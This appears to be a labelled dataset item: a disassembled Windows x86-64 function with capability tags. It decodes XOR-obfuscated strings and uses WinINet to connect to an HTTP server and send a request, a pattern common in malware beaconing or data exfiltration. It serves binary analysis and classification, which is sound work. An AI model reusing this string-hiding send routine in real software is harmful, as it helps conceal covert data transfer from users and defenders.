Function at 0x18007d680
Capabilities:
Connect to http server
Create http request
Encode data using xor
Send data
Send http request

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0x100
xor ebx, ebx
lea rcx, [rbp - 0x39]
call fcn.180069a30
mov rdx, rax
lea rcx, [rbp + 7]
call fcn.180068c10
nop
mov dword [rsp + 0x40], 0xaeb8b2cb
mov dword [rsp + 0x44], 0xa8aca3ac
mov dword [rsp + 0x48], 0xbaa1b8e9
mov word [rsp + 0x4c], 0x100
mov ecx, ebx
nop word [rax + rax]
lea eax, [rcx - 0x41]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xc
jb 0x18007d6e0
mov byte [rsp + 0x4d], 0
mov rdx, qword [0x180393f70]
lea rax, [rsp + 0x40]
mov rdi, 0xffffffffffffffff
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x18007d710
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x18007dc0c
lea r9, [0x180393f60]
cmp qword [0x180393f78], 0xf
cmova r9, qword [0x180393f60]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r8, [0x180393f60]
movzx edx, byte [rbp + 0x67]
lea rcx, [rbp - 0x19]
call fcn.1800631b0
nop
mov dword [rbp + 0x67], 0xa6a8b7d7
mov word [rbp + 0x6b], 0xfe
mov byte [rbp + 0x6d], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx - 0x41]
xor byte [rbp + rcx + 0x67], al
inc rcx
cmp rcx, 5
jb 0x18007d790
mov byte [rbp + 0x6d], 0
lea rax, [rbp + 0x67]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x18007d7b0
mov r12, qword [rbp + 0x17]
mov rax, rsi
sub rax, r12
cmp rax, rdi
jb 0x18007dc00
lea r13, [rbp + 7]
cmp qword [rbp + 0x1f], 0xf
cmova r13, qword [rbp + 7]
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x49], xmm1
lea r15, [r12 + rdi]
mov esi, 0xf
lea r14, [rbp - 0x59]
cmp r15, rsi
jbe 0x18007d883
mov rsi, r15
or rsi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
jbe 0x18007d845
mov rsi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180082c18
test rax, rax
je 0x18007db3b
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x18007d87f
mov eax, 0x16
cmp rsi, rax
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x18007d86d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18007dc06
jmp 0x18007d826
test rcx, rcx
je 0x18007d87c
call fcn.180082c18
mov r14, rax
jmp 0x18007d87f
mov r14, rbx
mov qword [rbp - 0x59], r14
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x41], rsi
mov r8, rdi
lea rdx, [rbp + 0x67]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r14 + rdi]
mov r8, r12
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r15], 0
mov dword [rsp + 0x40], 0xabbbaff2
mov dword [rsp + 0x44], 0xe9a4a8af
mov dword [rsp + 0x48], 0xf9e6f2
mov byte [rsp + 0x4c], 1
mov rcx, rbx
nop
lea eax, [rcx - 0x41]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xb
jb 0x18007d8d0
mov byte [rsp + 0x4c], 0
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x18007db09
lea rdx, [rbp - 0x19]
cmp qword [rbp - 1], 0xf
cmova rdx, qword [rbp - 0x19]
mov r8d, 0x50
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r14, rax
test rax, rax
je 0x18007daff
mov dword [rbp + 0x6f], 0x96928fef
mov word [rbp + 0x73], 0x100
mov rcx, rbx
nop dword [rax]
lea eax, [rcx - 0x41]
xor byte [rbp + rcx + 0x6f], al
inc rcx
cmp rcx, 4
jb 0x18007d960
mov byte [rbp + 0x74], 0
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], 0x80000000
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x6f]
mov rcx, r14
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rsi, rax
test rax, rax
je 0x18007daf6
movdqa xmm0, xmmword [0x180105520]
movdqu xmmword [rsp + 0x4e], xmm0
movdqa xmm1, xmmword [0x1801056d0]
movdqu xmmword [rbp - 0x7b], xmm1
movdqa xmm0, xmmword [0x180104e60]
movdqu xmmword [rbp - 0x6b], xmm0
mov byte [rbp - 0x5b], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx - 0x41]
xor byte [rsp + rcx + 0x4e], al
inc rcx
cmp rcx, 0x2f
jb 0x18007d9e0
mov byte [rbp - 0x5b], 0
lea r9, [rbp + 0x67]
lea r8, [rbp - 0x5c]
lea rdx, [rsp + 0x4e]
lea rcx, [rbp - 0x39]
call fcn.180002370
lea r9, [rbp - 0x59]
cmp qword [rbp - 0x41], 0xf
cmova r9, qword [rbp - 0x59]
lea rdx, [rbp - 0x39]
cmp qword [rbp - 0x21], 0xf
cmova rdx, qword [rbp - 0x39]
mov eax, dword [rbp - 0x49]
mov dword [rsp + 0x20], eax
mov r8d, dword [rbp - 0x29]
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x18007daaf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r15d, eax
movdqa xmm0, xmmword [0x180105100]
movdqu xmmword [rsp + 0x4e], xmm0
mov dword [rbp - 0x7b], 0xb4f1f9e7
mov dword [rbp - 0x77], 0xb3b9bdb2
mov dword [rbp - 0x73], 0xfff9e2b3
mov dword [rbp - 0x6f], 0x100d6bf
nop dword [rax]
nop word [rax + rax]
lea eax, [rbx - 0x41]
xor byte [rsp + rbx + 0x4e], al
inc rbx
cmp rbx, 0x1e
jb 0x18007da80
mov byte [rbp - 0x6c], 0
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, r15d
lea rdx, [rsp + 0x4e]
mov rcx, rax
nop
nop
nop
nop
nop
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdx, qword [rbp - 0x21]
cmp rdx, 0xf
jbe 0x18007daf6
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18007daf1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18007daf1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180082be4
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rbp - 0x41]
cmp rdx, 0xf
jbe 0x18007db47
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18007db42
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18007db42
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180082be4
movdqa xmm0, xmmword [0x1800906f0]
movdqu xmmword [rbp - 0x49], xmm0
mov byte [rbp - 0x59], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x18007db96
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18007db91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18007db91
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180082be4
movdqa xmm0, xmmword [0x1800906f0]
movdqu xmmword [rbp - 9], xmm0
mov byte [rbp - 0x19], 0
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x18007dbe5
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18007dbe0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18007dbe0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180082be4
mov rbx, qword [rsp + 0x150]
add rsp, 0x100
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1800027b0
nop
call fcn.1800020d0
nop
call fcn.1800027b0
int3